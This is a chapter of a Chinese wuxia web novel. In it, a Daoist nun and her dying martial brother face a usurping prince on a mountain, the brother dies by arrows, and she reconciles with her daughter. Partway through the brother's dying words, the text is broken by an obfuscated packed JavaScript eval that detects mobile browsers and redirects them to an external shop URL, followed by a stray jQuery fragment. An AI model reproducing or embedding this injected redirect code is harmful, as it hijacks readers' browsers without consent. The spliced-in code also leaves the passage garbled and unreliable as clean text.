77. 同门兄妹
    封彦卿背着季三川,敖起背着慕容凤飞,两两飞登树顶,才看到雀岭腹地一片火光长龙!

    敖起心道:刚才传话的那几个女道士到底是沉着冷静,竟将这么多敌人描述得好似平平一路游兵...这阵仗简直是要围山一般。

    慕容凤飞在敖起背上,朝树下火把最旺一处喊道:“拓跋骨丹,既来了,何必畏畏缩缩!堂堂一藩之王,若非做贼心虚,怎会怕我一个老太婆?哈哈哈哈!”

    走出人群的却是一名岚州节度使,玉面长身,唇红齿白,客客气气道:“慕容王妃,您隐居在此,镇山守林,本是岚州之幸。为您的清净,下官更命人绕山修路,以让百姓避让小雀岭。岚州为您所做不少,您又何必为难下官?乖乖交出那两人,我等自然还您清平安乐。”

    慕容凤飞讥笑道:“不愧是伶人致仕,你唱得一番好词。云隐数年动荡,他就是靠着你们这些人颠倒黑白、粉饰太平的吧!可见他坐这王位数年,心中难得安稳呐,你不如劝他早日把这江山还给我女儿,让他快快与你们一班伶人寻欢作乐去,哈哈哈!”

    底下那岚州节度使面红耳赤:“你这老道姑,别敬酒不吃...”

    “放肆!”

    树下火把快速奔走,从后方黑暗处簇拥着抬出一座小轿。这小轿是用竹藤精巧编制,其下由两名壮汉肩扛而起,其上躺坐着一个黄发红脸的贵人,正跷着脚仰面看向树冠之上。

    “云隐上下谁不知先王妃的功劳,岂容你造次?四嫂,多年未见,我以为你早该修得仙风道骨,怎却修成了这副朽木之姿?让我看了也不免为你伤心难过啊!”拓跋骨丹惺惺作态。

    慕容凤飞朝下嗤之以鼻:“我虽朽木,也强过你这不人不鬼!你也不照照镜子,看看自己现在像什么样子?拓跋老王爷若知道自己的小儿子这样不男不女不三不四,九泉之下也难安息!”

    拓跋骨丹却厚颜笑道:“四嫂好会说笑,我拓跋骨丹本来就排行家中老五,自然是不三也不四,哈哈哈哈!”转而朝封彦卿背上的季三川责斥道:“季老头,不过是叫你取了那两个小辈的尸身,尽快还给那沙月矿主,这点小事,你也至于叫本王亲自走一趟?!”

    季三川躲在封彦卿背后,低头问道:“底下这红脸猴子为什么冲我大吼小叫?”

    彦卿心道:他此时功力尽散,糊涂时多,清醒时少,不能寻常答复。想了想,小声回道:“这猴子偷桃不成,心里有气,您不用理会。”

    季三川听闻,便傻笑着趴回他后背之上。

    慕容凤飞:“我师兄痴傻,你还嫌利用他不够么!那沙月王妃不过是想要回她儿子的尸身,顾念两藩和平来之不易,我还给她就是。至于我女儿的尸身,她恨之不及,又怎会千里迢迢来接?不过是你,既想趁机将先王之子赶尽杀绝,又想堵云隐上下之口,借刀杀人罢了!可笑你一个做叔叔的,竟如此迫不及待地加害一个本就快死了的侄女,难道不正是你窃位心虚!”

    拂尘向身后一扫,数网落下,许家子弟扛着一人长的卷席,登网而上,将段立文麻利送出。随着拂尘又一扫,数网收起,送回许家子弟。

    兵勇将草席举起到与轿椅平行,拓跋骨丹悠然伸指,抵于段立文鼻下,探得气息微弱,已是出气多于进气,估摸再撑不住个把时辰,谎笑道:“四嫂误会,这段世子对英儿情根深种,否则何至于主动种下这蛊虫?那沙月王妃虽不喜,却也想遂儿子最后心愿,非要我将英儿一并带回啊,我也是为两藩不可再起战事而不得已撇下亲情。唉,罢了...看在四嫂你早年为平息内乱,不惜抛夫弃女立下奇功,我也不忍心叫你晚年再受一遭...我就拼着与那沙月人做对,也要将英儿的尸身留给四嫂!”

    那伶人出身的岚州节度使大声奉迎道:“慕容王妃言辞无礼,王上却大肚能容,抱慈悲宽许之心,叫属下汗颜。”

    慕容凤飞在树上哈哈大笑:“哈哈哈哈!拓跋骨丹,你装出一副可怜我的模样,我却可怜你啊,可怜你死到临头还在自卖自夸,与那伶人儿戏!你以为没了先王后人还朝的顾虑,便能名正言顺地安坐王位了吗?哈哈哈哈,英儿活着,你还能有几年安稳;英儿一死,你三哥那些儿子们可愿做你砧板上的鱼肉?他们与你一样没了顾虑,如锁链脱身,猛虎出笼,你无儿无女,身边只有一班伶人,好自为之吧!”

    拓跋骨丹冷汗袭身,从轿子上翻身一跃而下,朝树上季三川喊道:“季老头,还不快下来,与我同归?!我与你还有大事要做,她不过又是言语哄骗你!”

    封彦卿不由得双手紧紧箍住背后季三川的双腿,怕他跑了似的。

    季三川笑了笑:“儿啊,这回你该放我下来了。”

    封彦卿看了看慕容凤飞,见她从容地点了点头,才将季三川扶下后背。

    季三川半疯半醒,朝下笑问:“这猴屁股还会说话呢?!”

    拓跋骨丹气得脸色更红,朝他不需装腔作势,直接骂道:“老疯子,又疯了!还不给我下来!”说罢,朝身后摆手,即刻冲上来一队弓箭手,威吓季三川:“你若不跟我回去,落在别人手里倒是个麻烦,再不下来,就别怪我要卸磨杀驴!”

    封彦卿此时不管不顾上前一步,挡在季三川身前,朝拓跋骨丹喊道:“他现在不过是一个武功尽失的寻常老人,你何必非要杀了他。”

    拓跋骨丹:“寻常老人?他一人可蛊千军,你却说他寻常老人?可笑!不过,你是他什么人?”

    季三川在封彦卿身后颇满意地笑了笑,推开他:“不过是个游侠,不忍心对我这个老疯子见死不救罢了...”

    彦卿心道:他这是清醒了?

    “接着!”季三川从怀中掏出一包粉末,朝那岚州节度使掷去:“我早说过,此药不可多用,你们这些伶人若肯按我的剂量服侍,他纵欲有度,也不至于这样气血紊乱,越发像个猴子。”

    拓跋骨丹愣了愣,拎起那岚州节度使的衣领:“你们!你们居然对我用药!”

    那岚州节度使见此事败露,竟转瞬哭哭啼啼道:“王上饶恕我吧,我也不过是为争您的恩宠。那绵州、庆州、利州几位比我下得剂量更多,我,我也是没办法啊...”

    拓跋骨丹气血冲头,将这伶人一剑封喉,吓得身边侍卫也向后退了半步:王上杀伶,还是头一次。

    看了看手上的鲜血,拓跋骨丹好似才反应过来自己一时冲动杀了心爱的伶人,悲嚎道:“我为你们挣得这江山,你们也坐到了节度使之位,为何还不满足!”转而将怨气撒在季三川身上:“是你!你竟背着我...哄骗他们!他们原本不是这样的人!”愤而挥手。

    弓箭手误以为信号,齐齐朝季三川射去。封彦卿不惜内力筑墙,勉强制住流矢。

    季三川回头看了慕容凤飞最后一眼,含着笑意,飞身冲出力墙,半空中被数发流箭射穿,自送了性命。

    “真人!”封彦卿轰然塌下一掌,震退拓跋骨丹及其身后一众弓箭手,飞身跳下乱箭中救人。

    未料这游侠武艺如此高深,又见季三川被万箭穿身,已不可活,拓跋骨丹趁机率众带上段立文匆匆离开小雀岭。

    敖起也已背着慕容凤飞赶到季三川身边。

    本就空中被插数箭,落地时又被箭丛戳成了筛子,季三川早已救无可救,被人稍微一碰更是钻心之疼,倒是敖起那粒丹药让他还留着几口气。

    恨过季三川,恨不得亲手杀了他,可真到这一刻,她却也不想他死得这般凄惨,慕容凤飞终于不忍心,扑跪在他眼前:“师兄,是我害你,但你何必跳下来!”

    “我这一生,糊里糊涂,不值得师妹为我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200763|137006||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伤心。”季三川喉咙里翻涌出一口鲜血。

    “师兄!”慕容凤飞想去触碰的手,担心碰疼他,最终悬在他脸旁。

    季三川满足地微微一笑:“临死前,能与你,半日夫妻,有儿有女,呵呵...我...无憾...”鲜血不再是一口一口喷出,而是决了堤一般丛七窍川流而出。

    “师兄!去吧,我会与你同葬于师父左右...”伴着慕容凤飞这句话,季三川合上了双眼。

    几人带着季三川的尸首赶回时,拓跋英已经在孙掌柜的调理下醒了过来,虽然气虚体弱,却恢复了精神。

    “阿莫!”拓跋英得知了自己解蛊之事,知道慕容凤飞已近离去,再不顾往日怨念,哭着抱住自己的母亲。

    慕容凤飞见她果然好转,心疼道:“我的傻英儿,你长大了,阿莫就老了,老了就总有这一天,不要觉得对不起阿莫,过往是阿莫对不起英儿。”

    “阿莫,不是的!我不恨你,我每日每夜都在想你,阿莫...”拓跋英已渐渐泣不成声,她愧疚于自己的年少无知,愧疚于长大得太迟,愧疚于到母亲白发苍苍之时才赶回来。

    慕容凤飞抬起她的脸蛋,替她擦去眼底的泪水:“英儿,你真的不恨我?你阿波可恨我?”

    “阿波他从来没有恨过您,他学着像您一样炼丹,可烧坏了好几个炉子,也没炼出一颗来...他倒是,倒是学会了针绣,照着您的花样,给我绣了许多衣裳、手套、鞋子...阿莫,你说阿波他是不是像百姓说得那样很没用,阿祖就不该让他做王...呜呜...我们全家就不会走到今天...呜呜...”拓跋英又哭又笑,不知说什么来证明才好。

    慕容凤飞心爱地抚摸着她,同样哭着笑:“英儿,不要管别人怎么说,你要相信,你阿波是最称职的云隐王。他体恤百姓,顾念兄弟,更加爱你。那时你还太小,不曾见过你阿波治下的云隐,大烟建朝以来,还从没有哪个藩地,百姓之富,富过于王廷,这天下人挤破了脑袋,也要买上一件云隐的精甲利器、丹药虫草...可惜,好景不长。”

    拓跋英不解道:“那为何会变成今日这样?”

    慕容凤飞耐心道:“你阿波从不居功,他总说这是百姓之功,他是无为而治罢了。呵呵,也或许吧...”突然身体疼痛,料想那拓跋骨丹虽熟悉小雀岭,但负气离开,对那段立文也只当尸体一具,山路陡峭颠簸,难免更加速了段立文的死期。她还有许多话要讲,只怕来不及,急忙抓住拓跋英:“英儿,季三川他不是坏人,他是个可怜人...”

    “阿莫,你怎么了?孙掌柜!”拓跋英发觉母亲身体的异常,惊慌呼喊孙掌柜,可是孙掌柜也无奈,立在一边遗憾地摇了摇头。

    拓跋英有着不好的预感,扶住慕容凤飞:“阿莫,我明白,虽然是他养的蛊,但害我种蛊的是段立文,我不怪他。”

    慕容凤飞摇着头:“你不明白。我要你答应我,等我死后,将我与他葬于我师父坟墓左右。我与你阿波此生难再相见,我已修道,死后也不能与你阿波同寝,不如成全我与师兄的同门之谊,我想你阿波他会明白...此生师兄与我苦缠,糊涂一世,蹉跎一生,他做了错事,也多因我而起,终落于你身,天道循环,承负报应,就让我与他一同魂归道中吧。”

    拓跋英却毫不在意:“阿莫,我不许您死,我才刚刚与您重逢。这次,您不能再撇下我!”

    “答应我!”慕容凤飞坚定道。

    拓跋英终于明白此事于母亲的意义,点了点头,努力克制道:“呜呜...阿莫,您知道的,我总是听您的话。您要我和阿波离开您,我舍不得,我知道我会后悔,但我还是听了您的话...呜呜...”

    慕容凤飞放下心来,慈爱着笑道:“我的英儿是天下最懂事的孩子。”